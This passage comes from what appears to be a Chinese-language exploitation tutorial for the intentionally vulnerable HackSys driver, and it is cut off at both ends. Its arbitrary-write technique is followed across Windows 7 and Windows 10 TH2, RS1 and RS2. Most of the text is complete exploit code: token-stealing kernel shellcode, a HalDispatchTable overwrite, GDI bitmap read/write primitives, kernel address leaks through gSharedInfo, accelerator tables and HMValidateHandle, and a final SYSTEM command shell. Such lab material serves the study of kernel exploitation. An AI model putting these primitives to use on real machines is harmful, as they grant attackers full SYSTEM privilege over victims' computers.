mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current process _EPROCESS structure
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Replace target process nt!_EPROCESS.Token
; with SYSTEM process nt!_EPROCESS.Token
; End of Token Stealing Stub
popad; Restore registers state
}
}
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource,
OUT PULONG Interval);
int main()
{
ULONG Interval = 0;
PVOID EopPayload = &TokenStealingPayloadWin7Generic;
ULONG BytesReturned = NULL;
HANDLE hFile = open_device(kDevName);
PVOID HalDispatchTable = GetHalDispatchTable();
PVOID HalDispatchTablePlus4 = (PVOID)((ULONG)HalDispatchTable + sizeof(PVOID));
PWRITE_WHAT_WHERE WriteWhatWhere = (PWRITE_WHAT_WHERE)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(WRITE_WHAT_WHERE));
WriteWhatWhere->What = (PULONG)&EopPayload;
WriteWhatWhere->Where = (PULONG)HalDispatchTablePlus4;
DeviceIoControl(hFile,
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE,
(LPVOID)WriteWhatWhere,
sizeof(WriteWhatWhere),
NULL,
0,
&BytesReturned,
NULL);
//__debugbreak();
HMODULE hNtDll = LoadLibrary(L"ntdll.dll");
NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(hNtDll, "NtQueryIntervalProfile");
NtQueryIntervalProfile(0x666, &Interval);
HeapFree(GetProcessHeap(), 0, (LPVOID)WriteWhatWhere);
WriteWhatWhere = NULL;
CreateCmd();
system("pause");
}
值得一提的是 NtQueryIntervalProfile
这个函数的第一个参数不能是0和1,详细可以参考<0day安全>和[这](https://50u1w4y.github.io/site/HEVD/arbitraryWrite/).
可以看到最后是成功了的.
## 0x03:TH2(WIN10_X64_1511)下的WWW
TH2下的WWW利用主要用到了一个叫做 bitmap 的对象.而bitmap内核对象中有个叫做 pvScan0 的指针,指向结构中的一块数据区域.
再加上 SetBitmapBits 函数和 GetBitmapBits 函数能对 pvScan0 进行读写,所以如果我们能改掉 pvScan0
指针,使其中一个bitmap对象的pvScan0指针指向另一个bitmap对象的pvScan0指针,就能进行任意地址读写.如图
这里创建了两个bitmap对象,其中一个叫hManager,另一个叫hWorker(当然叫其他的也可以),我们用WWW漏洞把hWorker的pvScan0指针覆盖掉,这样当我们对hManager用SetBitmapBits函数进行任意写时,改的就是hWorker的pvScan0指针.当我们对hWorker用GetBitmapBits/SetBitmapBits函数进行读/写时,读写的内容就是hManager传递过来的指针的值.
那么问题来了,GetBitmapBits/SetBitmapBits函数怎么使用呢?
其中SetBitmapBits函数长这样:
LONG SetBitmapBits(
HBITMAP hbm,
DWORD cb,
const VOID *pvBits
);
GetBitmapBits类似
其中第一个参数是句柄,使用CreateBitmap函数创建bitmap对象就能得到.像这样:
HBITMAP hManager = CreateBitmap(0x64, 0x64, 1, 32, NULL);
第二个参数是第三个参数指向的字节数,可以理解为要读写的数据长度.
第三个参数就是pvScan0指针.怎么得到呢?
直接上代码.[参考](https://50u1w4y.github.io/site/HEVD/bitmap/)
DWORD64 getpvScan0Address(HBITMAP handle) {
printf(" handle value: 0x%p\n", (DWORD64)handle);
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
printf(" tebAddr: 0x%p\n", tebAddr);
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
printf(" pebAddr: 0x%p\n", pebAddr);
DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
printf(" GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);
// GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针
// GDICELL 结构体 x86 0x10,x64 0x18
DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18;
printf(" pKernelAddress: 0x%p\n", pKernelAddress);
DWORD64 surfaceObject = *(PDWORD64)pKernelAddress;
printf(" surfaceObject address: 0x%p\n", surfaceObject);
// BASEOBJECT 结构体 x86 0x10,x64 0x18
// pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38
DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38;
printf(" pvScan0 address: 0x%p\n", pvScan0Address);
return pvScan0Address;
}
然后就是替换Token了,原理是一样的,不过由汇编语言变成了C语言.
我的exploit:
#include<stdio.h>
#include<Windows.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
DWORD64 getpvScan0Address(HBITMAP handle) {
printf(" handle value: 0x%p\n", (DWORD64)handle);
DWORD64 tebAddr = (DWORD64)NtCurrentTeb();
printf(" tebAddr: 0x%p\n", tebAddr);
DWORD64 pebAddr = *(PDWORD64)((PUCHAR)tebAddr + 0x60);
printf(" pebAddr: 0x%p\n", pebAddr);
DWORD64 GdiSharedHandleTableAddr = *(PDWORD64)((PUCHAR)pebAddr + 0xf8);
printf(" GdiSharedHandleTableAddr: 0x%p\n", GdiSharedHandleTableAddr);
// GdiSharedHandleTableAddr 是一个指向GDICELL结构体数组的指针
// GDICELL 结构体 x86 0x10,x64 0x18
DWORD64 pKernelAddress = GdiSharedHandleTableAddr + ((DWORD64)handle & 0xffff) * 0x18;
printf(" pKernelAddress: 0x%p\n", pKernelAddress);
DWORD64 surfaceObject = *(PDWORD64)pKernelAddress;
printf(" surfaceObject address: 0x%p\n", surfaceObject);
// BASEOBJECT 结构体 x86 0x10,x64 0x18
// pvScan0 在 SURFOBJ 结构体中的偏移 x86 0x20,x64 0x38
DWORD64 pvScan0Address = surfaceObject + 0x18 + 0x38;
printf(" pvScan0 address: 0x%p\n", pvScan0Address);
return pvScan0Address;
}
VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
// 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
GetBitmapBits(hWorker, len, whatWrite);
}
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite);
SetBitmapBits(hWorker, len, &whatWrite);
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main() {
HBITMAP hManager = CreateBitmap(0x64, 0x64, 1, 32, NULL);
HBITMAP hWorker = CreateBitmap(0x64, 0x64, 1, 32, NULL);
LPVOID lpSystemEPROCESS = NULL;
DWORD len = 0;
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
typedef struct _payload {
PULONG what;
PULONG where;
} Payload, * PPayload;
DWORD64 ManagerpvScan0Address = getpvScan0Address(hManager);
//printf("manger pvscan0 address is %p\n", ManagerpvScan0Address);
DWORD64 WorkerpvScan0Address = getpvScan0Address(hWorker);
//printf("worker pvscan0 address is %p\n", WorkerpvScan0Address);
PPayload payload = (PPayload)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(Payload));
payload->what = (PULONG)&WorkerpvScan0Address;
payload->where = (PULONG)ManagerpvScan0Address;
DWORD BytesReturned = 0;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
//__debugbreak();
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
//printf("aaaaaa\n");
printf("[+]kernel name is: %s\n", lpkernelName);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
LPVOID lpSysProcID = NULL;
LPVOID lpSystemToken = NULL;
LIST_ENTRY lpNextEntryAddreess;
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
printf("addr ======%p\n", pLiveFunctionAddress);
readOOB(hManager, hWorker, (DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID));
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID));
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
printf("[+]system process token value is: 0x%p\n", lpSystemToken);
printf("[+]system process PID is: 0x%p\n", lpSysProcID);
DWORD64 currentProcessID = GetCurrentProcessId();
printf("currentProcessID ---->0x%x\n", currentProcessID);
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do
{
lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2f0;
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpCurrentPID, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
printf("dwCurrentPID ---->0x%x\n", dwCurrentPID);
readOOB(hManager, hWorker, (DWORD64)((PUCHAR)lpNextEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
printf("[+]Start to write token");
writeOOB(hManager, hWorker, currentTokenAddress, lpSystemToken, sizeof(LPVOID));
printf(" => done!\n");
CreateCmd();
system("pause");
return 0;
}
可以看到最后是成功了的.
总结一下这次漏洞利用的过程:
1.创建两个bitmap对象
2.找到两个bitmap对象的pvScan0地址
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
## 0x04:RS1(win10_x64_1607)下的WWW
接下来我们来到RS1下的WWW.
我们直接拿着TH2下的exp运行,发现直接蓝屏了.
嗯?怎么回事?查阅资料后,你会发现[这个](//bfdogplmndidlpjfhoijckpakkdjkkil/pdf/viewer.html?file=https%3A%2F%2Flabs.bluefrostsecurity.de%2Ffiles%2FAbusing_GDI_for_ring0_exploit_primitives_Evolution_Slides.pdf):
哦,原来”Leaking kernel addresses by reading user32!gSharedInfo structure”被kill掉了.
那么图中提到的 user32!gSharedInfo 是什么呢?我觉得可以对应上TH2下的这段代码
DWORD64 getpvScan0Address(HBITMAP handle) {
......
}
然后调试发现确实不能用了
那怎么办呢?记住一句话,攻与防从来都是相对的.
先上图
看第二段,我们可以通过 AcceleratorTables 间接泄露.对应到这段代码:
PUSER_HANDLE_ENTRY leakAddr = NULL;
PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;
int nSize = 698;
LPACCEL lPaccel = NULL;
// LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT，即分配固定内存并初始化为 0
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
HACCEL hAccel_1 = NULL;
hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_1)];
DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Manager bitmap addr: 0x%p\n", hManagerAddr);
DestroyAcceleratorTable(hAccel_1);
HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
HACCEL hAccel_2 = NULL;
hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_2)];
DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Worker bitmap addr: 0x%p\n", hWorkerAddr);
DestroyAcceleratorTable(hAccel_2);
需要注意的是这里要定义很多结构体.
泄露了地址之后,其他的就跟TH2下的利用一样了.代码贴贴:
#include <windows.h>
#include<stdio.h>
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(
IN ULONG ProfileSource,
OUT PULONG Interval
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
typedef struct _payload {
PULONG_PTR what;
PULONG_PTR where;
} Payload, * PPayload;
VOID readOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite); // set 写的是 hWorker 的 pvScan0 的值
// 通过控制 hWorker 的 pvScan0 的值来决定对哪块地址进行读写
GetBitmapBits(hWorker, len, whatWrite);
}
VOID writeOOB(HBITMAP hManager, HBITMAP hWorker, DWORD64 whereWrite, LPVOID whatWrite, int len)
{
SetBitmapBits(hManager, len, &whereWrite);
SetBitmapBits(hWorker, len, &whatWrite);
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
int main()
{
PUSER_HANDLE_ENTRY leakAddr = NULL;
PSHAREDINFO gSharedInfo = (PSHAREDINFO)GetProcAddress(GetModuleHandle("user32.dll"), "gSharedInfo");
PUSER_HANDLE_ENTRY handleTable = gSharedInfo->aheList;
int nSize = 698;
LPACCEL lPaccel = NULL;
// LPTR 意为 LMEM_FIXED | LMEM_ZEROINIT，即分配固定内存并初始化为 0
lPaccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * nSize);
HACCEL hAccel_1 = NULL;
hAccel_1 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_1)];
DWORD64 hManagerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Manager bitmap addr: 0x%p\n", hManagerAddr);
DestroyAcceleratorTable(hAccel_1);
HBITMAP hManagerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
HACCEL hAccel_2 = NULL;
hAccel_2 = CreateAcceleratorTable(lPaccel, nSize);
leakAddr = &handleTable[LOWORD(hAccel_2)];
DWORD64 hWorkerAddr = (DWORD64)(leakAddr->pKernel);
//printf("Worker bitmap addr: 0x%p\n", hWorkerAddr);
DestroyAcceleratorTable(hAccel_2);
HBITMAP hWorkerbitmap = CreateBitmap(0x710, 0x2, 0x1, 0x8, NULL);
// ------我是分割线------
// 到这里我们已经获得 bitmap 的地址了，接下来就跟 RS1 之前一样利用 bitmap 就好了
DWORD64 ManagerpvScan0Address = hManagerAddr + 0x18 + 0x38;
printf("Manager pvScan0 Addr: 0x%p\n", ManagerpvScan0Address);
DWORD64 WorkerpvScan0Address = hWorkerAddr + 0x18 + 0x38;
printf("Worker pvScan0 Addr: 0x%p\n", WorkerpvScan0Address);
PPayload payload = NULL;
// malloc
payload = (PPayload)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(Payload));
payload->what = (PULONG_PTR)&WorkerpvScan0Address;
payload->where = (PULONG_PTR)ManagerpvScan0Address;
printf("payload---->what %llX\n", payload->what);
printf("payload->where %llX\n", payload->where);
DWORD BytesReturned = 0;
HANDLE hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0, NULL, 0x3, 0, NULL);
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
// 已经 overwrite 了，接下来就是利用 SetBitmapBits 和 GetBitmapBits 来读写
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
DWORD len = 0;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DWORD64 systemEprocessAddr = 0;
LPVOID lpSystemToken = NULL; // 获取 system 进程的 token
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
//printf("aaaaaa\n");
printf("[+]kernel name is: %s\n", lpkernelName);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
printf("pLiveFunctionAddress ======%p\n", pLiveFunctionAddress);
readOOB(hManagerbitmap, hWorkerbitmap, (DWORD64)pLiveFunctionAddress, &systemEprocessAddr, sizeof(DWORD64));
readOOB(hManagerbitmap, hWorkerbitmap, (systemEprocessAddr + 0x358), &lpSystemToken, sizeof(DWORD64));
printf("system eprocess addr: 0x%p\n", systemEprocessAddr);
// _eprocess + 0x0f8 是 token 0x358
// _eprocess + 0x0B8 是 ActiveProcessLinks.Flink 0x2f0
// _eprocess + 0x0b4 是 processid 0x2e8
// 获取当前进程的 _eprocess
DWORD64 lpNextEPROCESS = 0;
LPVOID lpCurrentPID = NULL;
DWORD64 dwCurrentPID;
LIST_ENTRY lpNextEntryAddreess = { 0 };
DWORD64 currentProcessID = GetCurrentProcessId(); // 通过PID判断是否获取到当前进程的地址
readOOB(hManagerbitmap, hWorkerbitmap, systemEprocessAddr + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
do // 根据PID是否找到当前进程
{
// 获取下一个进程
lpNextEPROCESS = (DWORD64)((PUCHAR)lpNextEntryAddreess.Flink - 0x2f0);
// 获取PID
readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
writeOOB(hManagerbitmap, hWorkerbitmap, currentTokenAddress, lpSystemToken, sizeof(LPVOID));
//system("whoami\n");
CreateCmd();
system("pause");
CloseHandle(hManagerbitmap);
CloseHandle(hWorkerbitmap);
return 0;
}
可以看到最后是成功了的.
最后我们总结一下RS1在WWW下的利用.
1.创建两个bitmap对象
2.利用 AcceleratorTables 间接获得pvScan0的地址(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
还有个要注意的地方就是nSize的大小和 CreateBitmap
的参数有一个对应关系,关系不对的话也是不能成功的.因为我这里是直接用的别人的数据,没仔细研究过,不过后来这个坑让我在1709也就是RS3踩到了.后面我会讲我是怎么踩到坑以及如何解决的.如果你想了解更多的话,请[参考这里](https://paper.seebug.org/877/#bitmap)
## 0x05:RS2(win10_x64_1703)下的WWW
由前面的RS1下的WWW我们得知利用 AcceleratorTables
间接获得pvScan0的地址的绕过手段在RS2下被kill掉了.那么在RS2下我们的WWW漏洞又该如何利用呢?上图
通过图片我们可以看到我们能通过WNDCLASSEX.lpszMenuName泄露pvScan0的地址.那么什么是WNDCLASSEX.lpszMenuName呢?上图
[图片来源](https://www.whsgwl.net/blog/CVE-2018-8453_1.html#0x00)
这是CVE-2018-8453中的一段代码.我们只需要关注我箭头所指向的内容就好.
那么问题来了,我们怎么利用 WNDCLASSEX.lpszMenuName 泄露pvScan0的地址呢?
这里我们通过设置lpszMenuName的大小,释放掉,然后创建bitmap对象,如果bitmap申请到了对应的pool,那么我们就间接获得了pvScan0的地址.这里我也是用的别人的数据.
char buf[0x8f0];
memset(buf, 0x41, 0x8f0);
WNDCLASSEX wndclass = { 0x0 };
wndclass.cbSize = sizeof(wndclass);
wndclass.lpszClassName = TEXT("case");
wndclass.lpszMenuName = buf;
wndclass.lpfnWndProc = DefWindowProc;
......
hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
hbmp.kAddr = curr;//这是leak的lpszMenuName地址,有个判断当前申请的是否是前一个申请的
hbmp.pvScan0 = (PUCHAR)(curr + 0x50);
我们现在知道了我们怎么通过lpszMenuName找pvScan0的地址,那么问题来了,我们怎么获得lpszMenuName的地址呢?
我们可以使用HMValidateHandle()函数,该函数有两个参数,参数1为传入的Windows
Object句柄,参数2为句柄属性,该函数会返回查找Windows
Object结构在用户态映射下的地址(用户态桌面堆).然后再通过一系列的偏移找到lpszMenuName的地址.
其中HMValidateHandle(
)这个函数可以通过硬编码得到.硬编码的知识我不是很了解,不过我记得<滴水逆向三期视频>里有相关的内容,有兴趣的同学可以自己去了解下…
其他的没什么好说的了.exp贴贴:
#include<stdio.h>
#include<Windows.h>
typedef struct _hBmp
{
HBITMAP hBmp;
DWORD64 kAddr;
PUCHAR pvScan0;
}HBMP, * PHBMP;
typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);
typedef struct _payload {
PULONG_PTR what;
PULONG_PTR where;
} Payload, * PPayload;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
HANDLE hDevice = NULL;
HBMP workerBmp;
HBMP managerBmp;
lHMValidateHandle pHmValidateHandle = NULL;
DWORD64 UserKernelDesktopHeap = 0;
DWORD64 kernelDesktopHeap = 0;
DWORD64 ulClientDelta = 0;
BOOL init()
{
printf("[+]Start to get HANDLE");
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf(" => done!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
printf("[+]HMValidateHandle address is : 0x%p\n", pHmValidateHandle);
